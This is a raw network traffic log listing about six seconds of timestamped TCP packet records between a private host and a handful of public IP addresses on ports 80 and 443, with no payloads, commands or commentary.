Jan 12, 2025 09:27:28.794199944 CET	443	50406	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:28.794272900 CET	50406	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:28.794301987 CET	50406	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:28.794446945 CET	443	50406	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:28.794509888 CET	50406	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:28.794745922 CET	50407	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:28.798255920 CET	80	50403	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:28.799525023 CET	80	50407	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:28.799570084 CET	50407	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:28.799590111 CET	50407	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:28.804414034 CET	80	50407	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:28.911421061 CET	80	50405	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:28.911761045 CET	80	50405	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:28.911828995 CET	50405	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:28.912198067 CET	50405	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:28.913146973 CET	50408	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:28.913177013 CET	443	50408	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:28.913240910 CET	50408	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:28.913269043 CET	50408	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:28.913393974 CET	443	50408	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:28.913444996 CET	50408	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:28.913665056 CET	50409	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:28.916941881 CET	80	50405	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:28.918446064 CET	80	50409	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:28.918518066 CET	50409	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:28.918548107 CET	50409	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:28.923294067 CET	80	50409	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:29.259738922 CET	80	50407	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:29.259876966 CET	50407	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:29.260299921 CET	80	50407	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:29.260354996 CET	50407	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:29.263015985 CET	50412	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:29.263039112 CET	443	50412	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:29.263118029 CET	50412	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:29.263644934 CET	50412	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:29.263658047 CET	443	50412	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:29.264769077 CET	80	50407	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:29.373922110 CET	80	50409	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:29.374141932 CET	50409	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:29.374594927 CET	80	50409	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:29.374656916 CET	50409	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:29.374758005 CET	50413	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:29.374785900 CET	443	50413	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:29.374855042 CET	50413	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:29.374883890 CET	50413	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:29.374979973 CET	443	50413	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:29.375025034 CET	50413	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:29.375370026 CET	50414	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:29.378920078 CET	80	50409	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:29.380264044 CET	80	50414	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:29.380353928 CET	50414	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:29.380399942 CET	50414	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:29.385217905 CET	80	50414	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:29.728009939 CET	443	50412	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:29.728214025 CET	50412	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:29.729382992 CET	50412	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:29.729513884 CET	443	50412	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:29.729684114 CET	50412	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:29.730196953 CET	50415	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:29.730268002 CET	443	50415	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:29.730349064 CET	50415	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:29.730390072 CET	50415	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:29.730514050 CET	443	50415	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:29.730572939 CET	50415	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:29.730756044 CET	50416	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:29.735858917 CET	80	50416	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:29.735946894 CET	50416	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:29.736011982 CET	50416	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:29.740747929 CET	80	50416	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:29.856954098 CET	80	50414	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:29.857059956 CET	50414	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:29.857405901 CET	80	50414	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:29.857456923 CET	50414	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:29.857825041 CET	50417	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:29.857882023 CET	443	50417	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:29.857943058 CET	50417	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:29.857971907 CET	50417	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:29.858119011 CET	443	50417	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:29.858171940 CET	50417	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:29.858378887 CET	50418	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:29.861969948 CET	80	50414	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:29.863224030 CET	80	50418	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:29.863276958 CET	50418	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:29.863327026 CET	50418	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:29.868134975 CET	80	50418	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:30.198363066 CET	80	50416	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:30.198496103 CET	80	50416	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:30.198548079 CET	50416	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:30.199275970 CET	50416	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:30.199275970 CET	50419	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:30.199306011 CET	443	50419	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:30.199366093 CET	50419	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:30.199387074 CET	50419	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:30.199511051 CET	443	50419	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:30.199563980 CET	50419	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:30.199965954 CET	50420	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:30.203275919 CET	80	50416	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:30.204883099 CET	80	50420	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:30.204953909 CET	50420	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:30.204999924 CET	50420	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:30.209738970 CET	80	50420	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:30.315978050 CET	80	50418	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:30.316083908 CET	50418	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:30.316256046 CET	80	50418	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:30.316307068 CET	50418	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:30.319173098 CET	50423	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:30.319194078 CET	443	50423	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:30.319272995 CET	50423	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:30.319772005 CET	50423	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:30.319786072 CET	443	50423	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:30.321614027 CET	80	50418	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:30.659611940 CET	80	50420	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:30.659722090 CET	50420	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:30.660046101 CET	80	50420	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:30.660109997 CET	50420	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:30.660456896 CET	50424	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:30.660484076 CET	443	50424	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:30.660572052 CET	50424	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:30.660598993 CET	50424	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:30.660695076 CET	443	50424	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:30.660751104 CET	50424	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:30.661056995 CET	50425	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:30.665591002 CET	80	50420	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:30.665951967 CET	80	50425	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:30.666028976 CET	50425	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:30.666069031 CET	50425	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:30.670855999 CET	80	50425	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:30.793868065 CET	443	50423	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:30.793987989 CET	50423	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:30.795408010 CET	50423	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:30.795479059 CET	443	50423	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:30.795550108 CET	50423	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:30.796015978 CET	50426	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:30.796082020 CET	443	50426	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:30.796180964 CET	50426	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:30.796238899 CET	50426	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:30.796343088 CET	443	50426	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:30.796406031 CET	50426	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:30.796686888 CET	50427	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:30.802906036 CET	80	50427	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:30.802988052 CET	50427	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:30.803031921 CET	50427	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:30.807852983 CET	80	50427	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:31.119270086 CET	80	50425	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:31.119504929 CET	50425	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:31.119649887 CET	80	50425	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:31.119802952 CET	50425	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:31.120342016 CET	50428	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:31.120373964 CET	443	50428	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:31.120457888 CET	50428	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:31.120502949 CET	50428	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:31.120625973 CET	443	50428	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:31.120697975 CET	50428	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:31.121079922 CET	50429	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:31.124285936 CET	80	50425	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:31.125859976 CET	80	50429	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:31.125921011 CET	50429	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:31.125953913 CET	50429	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:31.131366968 CET	80	50429	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:31.258029938 CET	80	50427	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:31.258474112 CET	50427	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:31.258783102 CET	80	50427	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:31.258861065 CET	50427	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:31.259020090 CET	50430	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:31.259047031 CET	443	50430	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:31.259118080 CET	50430	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:31.259176970 CET	50430	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:31.259258986 CET	443	50430	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:31.259329081 CET	50430	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:31.259814024 CET	50431	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:31.263281107 CET	80	50427	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:31.264657974 CET	80	50431	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:31.264743090 CET	50431	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:31.264771938 CET	50431	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:31.269512892 CET	80	50431	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:31.577800035 CET	80	50429	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:31.577899933 CET	50429	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:31.578406096 CET	80	50429	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:31.578468084 CET	50429	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:31.580858946 CET	50434	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:31.580895901 CET	443	50434	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:31.580980062 CET	50434	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:31.581614017 CET	50434	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:31.581628084 CET	443	50434	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:31.582705975 CET	80	50429	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:31.740513086 CET	80	50431	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:31.740736008 CET	50431	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:31.740768909 CET	80	50431	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:31.740833044 CET	50431	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:31.741367102 CET	50435	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:31.741389990 CET	443	50435	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:31.741462946 CET	50435	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:31.741489887 CET	50435	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:31.741590023 CET	443	50435	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:31.741645098 CET	50435	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:31.741966009 CET	50436	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:31.745589972 CET	80	50431	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:31.746752024 CET	80	50436	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:31.746934891 CET	50436	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:31.747020960 CET	50436	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:31.751750946 CET	80	50436	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:32.045361996 CET	443	50434	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:32.045437098 CET	50434	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:32.047177076 CET	50434	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:32.047250986 CET	443	50434	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:32.047310114 CET	50434	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:32.047949076 CET	50437	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:32.047981977 CET	443	50437	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:32.048058033 CET	50437	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:32.048079967 CET	50437	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:32.048152924 CET	443	50437	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:32.048213005 CET	50437	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:32.048815966 CET	50438	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:32.053697109 CET	80	50438	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:32.053772926 CET	50438	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:32.053841114 CET	50438	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:32.058670044 CET	80	50438	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:32.222513914 CET	80	50436	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:32.222608089 CET	50436	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:32.222913980 CET	80	50436	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:32.222966909 CET	50436	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:32.223587036 CET	50439	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:32.223690033 CET	443	50439	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:32.223795891 CET	50439	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:32.223795891 CET	50439	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:32.223992109 CET	443	50439	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:32.224069118 CET	50439	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:32.224323988 CET	50440	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:32.227380037 CET	80	50436	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:32.229214907 CET	80	50440	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:32.229289055 CET	50440	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:32.229324102 CET	50440	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:32.234160900 CET	80	50440	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:32.516098022 CET	80	50438	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:32.516346931 CET	50438	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:32.516824007 CET	80	50438	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:32.516891956 CET	50438	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:32.517030954 CET	50441	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:32.517102957 CET	443	50441	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:32.517187119 CET	50441	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:32.517261028 CET	50441	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:32.517383099 CET	443	50441	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:32.517457008 CET	50441	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:32.517858982 CET	50442	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:32.521188021 CET	80	50438	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:32.522697926 CET	80	50442	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:32.522767067 CET	50442	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:32.522799015 CET	50442	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:32.527537107 CET	80	50442	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:32.678085089 CET	80	50440	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:32.679569006 CET	80	50440	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:32.679760933 CET	50440	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:32.685573101 CET	50440	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:32.688888073 CET	50445	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:32.688983917 CET	443	50445	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:32.689089060 CET	50445	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:32.689898014 CET	50445	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:32.689933062 CET	443	50445	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:32.690387964 CET	80	50440	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:32.991373062 CET	80	50442	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:32.991456985 CET	50442	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:32.991545916 CET	80	50442	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:32.991596937 CET	50442	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:32.992122889 CET	50446	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:32.992155075 CET	443	50446	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:32.992235899 CET	50446	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:32.992259026 CET	50446	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:32.992367029 CET	443	50446	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:32.992419004 CET	50446	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:32.992728949 CET	50447	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:32.996222019 CET	80	50442	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:32.997538090 CET	80	50447	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:32.997591019 CET	50447	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:32.997767925 CET	50447	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:33.002700090 CET	80	50447	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:33.146089077 CET	443	50445	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:33.146296978 CET	50445	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:33.147229910 CET	50445	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:33.147284031 CET	443	50445	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:33.147349119 CET	50445	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:33.147871971 CET	50448	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:33.147984982 CET	443	50448	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:33.148091078 CET	50448	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:33.148091078 CET	50448	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:33.148271084 CET	443	50448	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:33.148325920 CET	50448	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:33.148606062 CET	50449	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:33.153474092 CET	80	50449	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:33.153542042 CET	50449	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:33.153578043 CET	50449	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:33.158407927 CET	80	50449	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:33.489483118 CET	80	50447	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:33.489586115 CET	50447	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:33.490006924 CET	80	50447	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:33.490056992 CET	50447	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:33.490170956 CET	50450	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:33.490216017 CET	443	50450	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:33.490277052 CET	50450	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:33.490307093 CET	50450	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:33.490438938 CET	443	50450	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:33.490495920 CET	50450	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:33.490724087 CET	50451	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:33.494416952 CET	80	50447	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:33.495668888 CET	80	50451	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:33.495753050 CET	50451	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:33.495753050 CET	50451	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:33.500611067 CET	80	50451	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:33.635546923 CET	80	50449	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:33.635694027 CET	50449	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:33.636420012 CET	50452	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:33.636435986 CET	443	50452	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:33.636483908 CET	80	50449	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:33.636537075 CET	50449	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:33.636564016 CET	50452	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:33.636564016 CET	50452	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:33.636677027 CET	443	50452	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:33.636830091 CET	50452	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:33.636934042 CET	50453	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:33.640481949 CET	80	50449	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:33.641757011 CET	80	50453	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:33.641877890 CET	50453	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:33.641892910 CET	50453	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:33.646703005 CET	80	50453	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:33.947213888 CET	80	50451	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:33.947299957 CET	50451	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:33.947459936 CET	80	50451	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:33.947524071 CET	50451	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:33.949903965 CET	50456	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:33.949966908 CET	443	50456	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:33.950037003 CET	50456	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:33.950450897 CET	50456	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:33.950488091 CET	443	50456	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:33.952198982 CET	80	50451	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:34.109716892 CET	80	50453	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:34.109831095 CET	50453	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:34.110393047 CET	50457	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:34.110415936 CET	443	50457	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:34.110480070 CET	50457	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:34.110507011 CET	50457	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:34.110585928 CET	443	50457	172.67.176.186	192.168.2.7
